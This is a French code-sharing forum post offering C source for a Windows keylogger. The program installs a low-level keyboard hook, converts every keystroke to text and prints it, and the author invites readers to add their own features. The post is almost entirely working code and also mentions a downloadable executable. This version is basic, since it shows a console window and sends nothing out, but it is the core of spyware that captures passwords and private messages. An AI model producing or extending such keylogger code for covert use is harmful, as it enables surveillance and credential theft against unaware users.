Keylogger hook clavier (sans dll)

Description

Voila j'ai fais un hook clavier de base sans aucune dll vous pouvez y rajouter vos options le code se compile en simple fichier source sous dev c++, ce code est libre si vous l'améliorer tenez moi au courrant !

je propose de rajouter un hook souris ...

ps : l' executable est disponible dans le .ZIP.

Source / Exemple :


#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

// Global instance du hook
HHOOK hKeyHook;

// Gestion du hook
__declspec(dllexport) LRESULT CALLBACK KeyEvent (int nCode, WPARAM wParam, LPARAM lParam ) {
 
    // Action du clavier et les touches tappées
    if  ((nCode == HC_ACTION) && (wParam == WM_KEYDOWN)) {
       
        // conversion du code -> ascii 
        BYTE KeyState[256];
        WORD wBuf;
        char ch;
        
        // Structure pour récupération des informations
        KBDLLHOOKSTRUCT hooked =  *((KBDLLHOOKSTRUCT*)lParam);

        /* Traitement récupération dec codes des touches */
        
        // Etat du clavier
        GetKeyboardState(KeyState);

        // Conversion code > ascii
        ToAscii(hooked.vkCode, hooked.scanCode ,KeyState,&wBuf,0);
        
        //on rajoute les touches non traitées par le hook
        switch(hooked.vkCode){
        
               case 9 :{printf("<TAB>");break;}
               case 13 :{printf("<ENTER>");break;}
               case VK_BACK :{printf("<delete>");break;}
               case VK_DELETE: {printf("<Suppr>");break;}
       
               /* vous pouvez rajouter vos traitements perso ici ! */
                
                default : { // on affiche les touches tappées
                       ch=((char)wBuf); 
                       printf("%c",ch);
                       break;
                }
             
        }
        

    }
    // Renvoi des messages au sytème
    return CallNextHookEx(hKeyHook, nCode,wParam,lParam);
}

 
// Boucle des messages 
void MsgLoop()
{
    MSG message;
    while (GetMessage(&message,NULL,0,0)) {
        TranslateMessage( &message );
        DispatchMessage( &message );
    }
}

DWORD WINAPI KeyLogger(LPVOID lpParameter)
{
    // Récuperation de l'instance de notre executable
    HINSTANCE hExe = GetModuleHandle(NULL);
    if (!hExe) return 1;

    // on demarre le hook
    hKeyHook = SetWindowsHookEx (WH_KEYBOARD_LL,(HOOKPROC) KeyEvent,hExe, NULL);
    if(hKeyHook==NULL)
        printf("[le hook clavier a plante !]\n");
    else
        printf("[hook clavier en cours ...]\n");
        
    // Boucle des messages
    MsgLoop();
    
    // on desactive le hook
    if(UnhookWindowsHookEx(hKeyHook)==0)
          printf("[desactivation du Hook echoue !]");
    else
          printf("[la desactivation du hook c'est passee correctement]"); 
          
    return 0;
}
 

int main(int argc, char *argv[])
{
    // initialisation des options pour la fonction CreateThread 
    HANDLE hThread;
    DWORD dwThread;
    DWORD exThread;
    printf("\n[Exemple de Hook Clavier] by tOnyh2\n");
        
    // on crée le thread qui va démarrer le hook
    hThread = CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE) KeyLogger, (LPVOID)NULL, NULL, &dwThread);

    if (hThread) {
        // Attente à l'infini
        return WaitForSingleObject(hThread,INFINITE);
    } else {
        return 0;
    }
}

Conclusion :


rien de serieux prévu pour l'instant... ^^

Codes Sources

A voir également

Vous n'êtes pas encore membre ?

inscrivez-vous, c'est gratuit et ça prend moins d'une minute !

Les membres obtiennent plus de réponses que les utilisateurs anonymes.

Le fait d'être membre vous permet d'avoir un suivi détaillé de vos demandes et codes sources.

Le fait d'être membre vous permet d'avoir des options supplémentaires.